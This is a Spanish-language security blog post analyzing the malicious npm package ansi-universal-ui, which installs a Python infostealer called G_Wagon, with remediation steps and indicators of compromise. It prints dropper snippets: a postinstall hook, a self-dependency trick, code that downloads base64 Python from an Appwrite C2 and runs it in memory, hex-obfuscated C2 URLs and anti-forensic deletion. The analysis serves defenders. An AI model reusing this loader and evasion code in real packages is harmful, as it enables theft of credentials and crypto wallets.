Aikido

G_Wagon: Paquete npm despliega un Stealer de Python dirigido a más de 100 carteras de criptomonedas

Escrito por
Charlie Eriksen

El 23 de enero de 2026 a las 08:46 UTC, nuestro sistema de detección de malware marcó un paquete llamado ansi-universal-ui. El nombre suena a una aburrida librería de componentes de UI. La descripción incluso dice que es "un sistema de componentes de UI ligero y modular para aplicaciones web modernas." Muy profesional. Muy normal. Excepto que no lo es.

Lo que encontramos es un infostealer sofisticado y multifase que descarga su propio entorno de ejecución de Python, ejecuta una carga útil altamente ofuscada y exfiltra las credenciales de su navegador, carteras de criptomonedas, credenciales de la nube y tokens de Discord a un bucket de almacenamiento de Appwrite. También contiene una DLL de Windows incrustada que se inyecta en los procesos del navegador utilizando las API nativas de NT. El malware se autodenomina internamente "G_Wagon", presumiblemente porque sus autores tienen gustos caros.

Observando el desarrollo de un ataque en tiempo real

Este caso es interesante porque podemos ver todo el proceso de desarrollo. El atacante publicó 10 versiones en dos días, y cada versión cuenta una parte de la historia.

Día 1 (21 de enero) - Pruebas de la infraestructura del dropper:

  • v1.0.0 (15:54 UTC): Andamiaje inicial utilizando el módulo tar de npm
  • v1.2.0 (16:03 UTC): Cambio a tar del sistema, primera autodependencia
  • v1.3.2 (16:09 UTC): Añadido hook postinstall (aún sin carga útil)
  • v1.3.3 (16:18 UTC): Corregido un error de redirección

Día 2 (23 de enero) - Fase de armamento:

  • v1.3.5 (08:46 UTC): Añadida URL de C2, branding falso, eliminado marcador de posición
  • v1.3.6 (08:53 UTC): Reactivada la autodependencia para doble ejecución
  • v1.3.7 (09:09 UTC): Añadidas funciones anti-forenses, mensajes de registro saneados
  • v1.4.0 (12:27 UTC): Cambio a C2 de Frankfurt, la carga útil ahora se canaliza a través de stdin (nunca toca el disco)
  • v1.4.1 (12:48 UTC): Añadida ofuscación, cadenas codificadas en hexadecimal, clase de UI señuelo
  • v1.4.2 (13:06 UTC): Corrección de errores (la v1.4.1 rompió la ruta de Python)

El atacante está iterando activamente. Mientras escribíamos esta publicación, lanzaron tres versiones más.

La fase de pruebas

Las primeras versiones (1.0.0 hasta la 1.3.3) contenían un archivo llamado py.py con este contenido:

print("¡código python ejecutado!")

Eso es todo. Solo un marcador de posición para probar si la cadena de ejecución funcionaba. El atacante estaba construyendo infraestructura.

En v1.2.0, introdujeron un cambio interesante. Eliminaron la dependencia de npm tar y pasaron a ejecutar directamente el comando tar del sistema:

- const tar = require('tar');
+ const https = require('https');

- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);

+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);

¿Por qué? Menos dependencias de npm significan menos superficie de ataque para la detección. También significa que el paquete funciona sin instalar nada de npm.

Pero introdujeron un error. El manejo de las redirecciones no funcionaba realmente:

if (res.statusCode === 302 || res.statusCode === 301) {
    downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
    return;
}

Lo corrigieron en v1.3.3:

if (res.statusCode === 302 || res.statusCode === 301) {
    const newUrl = res.headers.location;
    downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
    return;
}

Por eso vemos la brecha de versiones entre 1.3.3 y 1.3.5. Probaron, encontraron el error, lo corrigieron, verificaron que funcionaba y luego regresaron dos días después para convertirlo en un arma.

La Explotación

La versión 1.3.5 es donde todo cambia. Veamos la diferencia clave:

- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');

En lugar de ejecutar el marcador de posición local, ahora descarga la carga útil de un bucket de almacenamiento de Appwrite.

También añadieron un comentario revelador que fue eliminado en la versión final:

// console.log("Fetching latest logic..."); // Uncomment if you want them to see this

El atacante estaba pensando claramente en la seguridad operativa.

El Branding Falso

La versión 1.3.5 también añadió legitimidad. El package.json cambió de:

{
  "description": "A cross-platform tool powered by Python"
}

A:

{
  "description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
  "keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
  "author": "Universal Design Team",
  "license": "MIT"
}

Añadieron un README.md lleno de palabras de moda:

Universal UI es una biblioteca de primitivas de componentes declarativos diseñada para la renderización de interfaces de alto rendimiento. Proporciona una capa unificada para gestionar estados visuales, temas y sistemas de diseño en arquitecturas de aplicaciones modernas.

Y mi favorito personal:

Motor de Renderizado Virtual: Algoritmo de diffing optimizado que asegura transiciones suaves y repintados mínimos durante los cambios de estado.

Nada de esto es real. No hay ThemeProvider. No hay Motor de Renderizado Virtual. Solo hay malware.

El Truco de la Autodependencia

Observa el package.json de v1.3.7:

{
  "scripts": {
    "postinstall": "node index.js"
  },
  "dependencies": {
    "ansi-universal-ui": "^1.3.5"
  }
}

El paquete depende de sí mismo. La versión 1.3.7 requiere la versión ^1.3.5. Cuando npm instala el paquete, ejecuta el hook postinstall. Luego instala la dependencia (una versión anterior de sí mismo), lo que ejecuta el hook postinstall de nuevo. Doble ejecución.

Curiosamente, lo eliminaron en la versión v1.3.5 y lo volvieron a añadir en la versión v1.3.6. Probablemente para probar si causaba problemas.

La Antiforense

La versión 1.3.7 añadió código de limpieza para eliminar el payload después de la ejecución:

child.on('close', (code) => {
    try {
        if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
            fs.unlinkSync(LOCAL_SCRIPT_PATH);
        }
    } catch (cleanupErr) {
        // Ignore cleanup errors
    }
    process.exit(code);
});

También sanearon los mensajes de registro:

- console.log("Configurando el entorno de Python...");
+ console.log("Inicializando el runtime de la UI...");

"Configurando el entorno de Python" es sospechoso. "Inicializando el runtime de la UI" suena como una biblioteca de UI legítima haciendo cosas de biblioteca de UI.

Todavía en evolución: v1.4.x

Mientras analizábamos este malware, el atacante lanzó dos versiones más. Están aprendiendo.

v1.4.0 realizó un cambio clave: el payload de Python ya no toca el disco. En lugar de descargarlo a un archivo y ejecutarlo, el dropper ahora obtiene Python codificado en base64 del C2, lo decodifica en memoria y lo redirige directamente a python - a través de stdin:

e

const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');

const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();

Ningún archivo que eliminar. Ningún artefacto dejado atrás.

v1.4.1 fue más allá con la ofuscación. La URL del C2 ahora se divide en fragmentos codificados en hexadecimal:

const _ui_assets = [
    "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
    "3639363865613536303033313663313238663232",
    "2f66696c65732f",
    "363937333638333830303333343933353735373..."
];
const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');

También añadieron una clase señuelo para que el código pareciera una biblioteca de UI real:

class LayoutCompute {
    constructor() { this.matrix = new Float32Array(16); this.x = 0; }
    mount(v) { return (v << 2) ^ 0xAF; }
    sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}

Los directorios fueron renombrados de python_runtime con lib_core/renderer. Variables como pythonCode se convirtió _texture_data. La función setupPython se convirtió _init_layer. Ahora todo suena a código de renderizado de gráficos.

También cambiaron exclusivamente al servidor C2 de Frankfurt, abandonando el endpoint de Nueva York.

v1.4.2 llegó 18 minutos después. Rompieron algo. El comentario en el código lo dice todo:

// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure

En v1.4.1, renombraron el directorio a 'renderer' para una ofuscación estética, pero el tarball de Python se extrae en una carpeta llamada python. Vaya. El malware no habría funcionado. v1.4.2 soluciona esto manteniendo la codificación hexadecimal.

Fase 2: G_Wagon Stealer

El payload de Python es donde las cosas se ponen interesantes. El código está ofuscado con nombres de variables de una sola letra y constantes de cadena, pero la funcionalidad es clara una vez que se analiza.

Lo primero que hace el malware es buscar un archivo llamado .gwagon_status en tu directorio de inicio. Este archivo contiene un contador. Si ya has sido infectado dos veces, deja de ejecutarse. No hay necesidad de robar los mismos datos repetidamente.

Luego se pone manos a la obra.

Credenciales del navegador: El stealer ataca Chrome, Edge y Brave tanto en Windows como en macOS. En Windows, termina los procesos del navegador, genera una nueva instancia con el Protocolo de Herramientas para Desarrolladores de Chrome habilitado y extrae todas las cookies. También descifra las contraseñas guardadas utilizando la API de Protección de Datos de Windows. En macOS, extrae la clave de cifrado del Llavero y utiliza OpenSSL para descifrar los datos de inicio de sesión.

Carteras de criptomonedas: Este es el verdadero premio. El malware ataca más de 100 extensiones de carteras de navegador. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus y docenas más. Copia el directorio completo de datos de la extensión para cada cartera que encuentra.

La lista completa incluye carteras para Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals y prácticamente cualquier ecosistema blockchain que se te ocurra.

Credenciales de la nube: Si alguna vez has configurado la AWS CLI, Azure CLI o Google Cloud SDK en tu máquina, el malware copia tus archivos de credenciales. Lo mismo ocurre con las claves SSH y tu kubeconfig. Toda tu infraestructura en la nube, potencialmente accesible con un único archivo zip.

Tokens de mensajería: El robo de tokens de Discord ha sido un elemento básico del malware de npm durante años, y G_Wagon no defrauda. También se apodera del tdata de Telegram y los archivos de autenticación de Steam.

La exfiltración

Todos los datos robados se comprimen y se suben al bucket de Appwrite del atacante. Los nombres de archivo siguen un patrón: {username}@{hostname}_{browser}_{profile}_{original_file}.

El malware tiene dos servidores C2 configurados:

  • Principal: nyc.cloud.appwrite[.]io (ID de proyecto: 6886229e003d46469fab)
  • Secundario: fra.cloud.appwrite[.]io (ID de proyecto: 6968e9e9000ee4ac710c)

Para archivos grandes, divide los datos en fragmentos de 5 MB y los sube secuencialmente. Los archivos de más de 50 MB se dividen en partes de 45 MB. Los autores planificaron claramente para víctimas con gran cantidad de datos valiosos.

Inyección de DLL

Hay un elemento más que hace que este stealer destaque. El código Python contiene un gran blob codificado en base64, una DLL de Windows cifrada con XOR.

c='+qmQZ9cVqpo....=='  # Omitido para abreviar - el blob real es mucho más grande

El código lo decodifica en base64, lo descifra con XOR utilizando una clave codificada y luego lo inyecta en procesos de navegador mediante las API nativas de NT: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, y NtCreateThreadEx.

El malware incluye un analizador PE completo que recorre la tabla de exportación buscando una función llamada "Initialize" - ese es el punto de entrada que llama después de la inyección.

Remediación y Detección

Si ha instalado ansi-universal-ui, esto es lo que debe hacer inmediatamente:

  1. Elimine el paquete de su proyecto y elimine node_modules
  2. Compruebe si hay .gwagon_status archivo en tu directorio de inicio (si existe, es probable que estuvieras infectado)
  3. Rota todas las contraseñas guardadas en el navegador
  4. Revoca y regenera los tokens de cualquier cartera de criptomonedas que se hayan instalado como extensiones del navegador (considéralas comprometidas)
  5. Rota las credenciales de AWS/Azure/GCP si utilizas esas CLIs
  6. Regenera las claves SSH
  7. Invalida las sesiones de Discord y Telegram

Cómo saber si está afectado usando Aikido:

Si eres usuario de Aikido, revisa tu feed central y filtra por problemas de malware. La vulnerabilidad aparecerá como un problema crítico de 100/100 en el feed. Consejo: Aikido vuelve a escanear tus repositorios cada noche, aunque también recomendamos activar un reescaneo completo.

Si aún no eres usuario de Aikido, crea una cuenta y conecta tus repositorios. Nuestra cobertura de malware propietaria está incluida en el plan gratuito (sin tarjeta).

Para una protección futura, considera usar Aikido Safe Chain (código abierto), un wrapper seguro para npm, npx, yarn y otros gestores de paquetes. Safe Chain se integra en tus flujos de trabajo actuales. Funciona interceptando los comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes en busca de malware antes de la instalación contra Aikido Intel, nuestro feed de inteligencia de amenazas de código abierto. Detén las amenazas antes de que lleguen a tu máquina.

Indicadores de Compromiso

Paquete

  • Nombre: ansi-universal-ui
  • Versiones maliciosas: 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1

Hashes de archivo (SHA256)

  • v1.0.0 index.js: 7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85
  • v1.2.0 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1
  • v1.3.2 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 (idéntico a v1.2.0)
  • v1.3.3 index.js: 1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7
  • v1.3.5 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (MALICIOSO)
  • v1.3.6 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (idéntico a v1.3.5, MALICIOSO)
  • v1.3.7 index.js: eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c (MALICIOSO)
  • v1.4.0 index.js: ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432 (MALICIOSO)
  • v1.4.1 index.js: a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52 (MALICIOSO)
  • py.py (todas las versiones): e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941

Nota: v1.3.5 y v1.3.6 tienen idénticos index.js archivos (solo package.json cambiado). v1.2.0 y v1.3.2 también son idénticos (solo se añadió el hook postinstall).

Red

  • hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab (v1.3.x)
  • hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c (v1.4.x)
  • ID de Proyecto Appwrite (NYC): 6886229e003d46469fab
  • ID de Proyecto Appwrite (FRA): 6968e9e9000ee4ac710c
  • ID de Bucket Appwrite (NYC): 688625a0000f8a1b71e8
  • ID de Bucket Appwrite (FRA): 6968ea5600316c128f22

Sistema de archivos

  • ~/.gwagon_status (contador de ejecución, oculto en Windows)

Compartir:

https://www.aikido.dev/blog/npm-malware-g-wagon-python-stealer-crypto-wallets

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy mismo, gratis.

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?
Prueba Aikido como otros 100 000 usuarios.
Empiece ahora
Obtenga una guía personalizada

Más de 100 000 equipos confían en nosotros.

Reservar ahora
Analiza tu aplicación en busca de IDOR y rutas de ataque reales.

Más de 100 000 equipos confían en nosotros.

Iniciar escaneo
Descubre cómo la IA realiza pruebas de penetración en tu aplicación.

Más de 100 000 equipos confían en nosotros.

Comience la prueba

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.